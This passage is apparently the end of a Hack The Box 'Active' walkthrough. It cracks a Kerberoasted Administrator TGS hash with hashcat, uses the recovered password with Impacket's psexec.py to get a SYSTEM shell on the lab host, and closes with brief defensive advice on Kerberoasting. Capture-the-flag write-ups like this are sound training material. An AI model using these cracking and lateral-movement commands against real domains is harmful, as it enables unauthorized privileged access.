First, I have to check the list of example hashes to determine the required Hashcat mode. It turns out that the correct mode is 13100. Now everything is ready for password recovery.

root@kali:~# hashcat -a 0 -m 13100 tgs-administrator.hash /usr/share/wordlists/rockyou.txt –force
root@kali:~# hashcat -m 13100 tgs-administrator.hash –show
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*...[hash-value]...:Ticketmaster1968

Success! The authorization credentials for privileged access are: Administrator:Ticketmaster1968.

PrivEsc: SVC_TGS → Administrator

I can either retrieve the last flag root.txt from the administrator’s home directory using the smbmap pentesting tool (see above) or initiate a superuser’s session by running the psexec.py script.

root@kali:~# psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies

[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file hPUtqrwN.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service QclS on 10.10.10.100.....
[*] Starting service QclS.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

Root.txt

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt
b5fc76d1????????????????????????

Mission accomplished: I am in full control of the system.

C:\Windows\system32>exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on 10.10.10.100.....
[*] Stopping service QclS.....
[*] Removing service QclS.....
[*] Removing file hPUtqrwN.exe.....

Trophy

Trophy

Protection

How to stop hackers from taking over your domain controller? Unfortunately, the Kerberoasting attack vector exploits a vulnerability inherent in the architecture of the Kerberos protocol. Therefore, the best defense against such attacks is using sophisticated passwords to protect accounts associated with Kerberos and SPN. In addition, I strongly recommend to configure all services without using privileged accounts.


Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>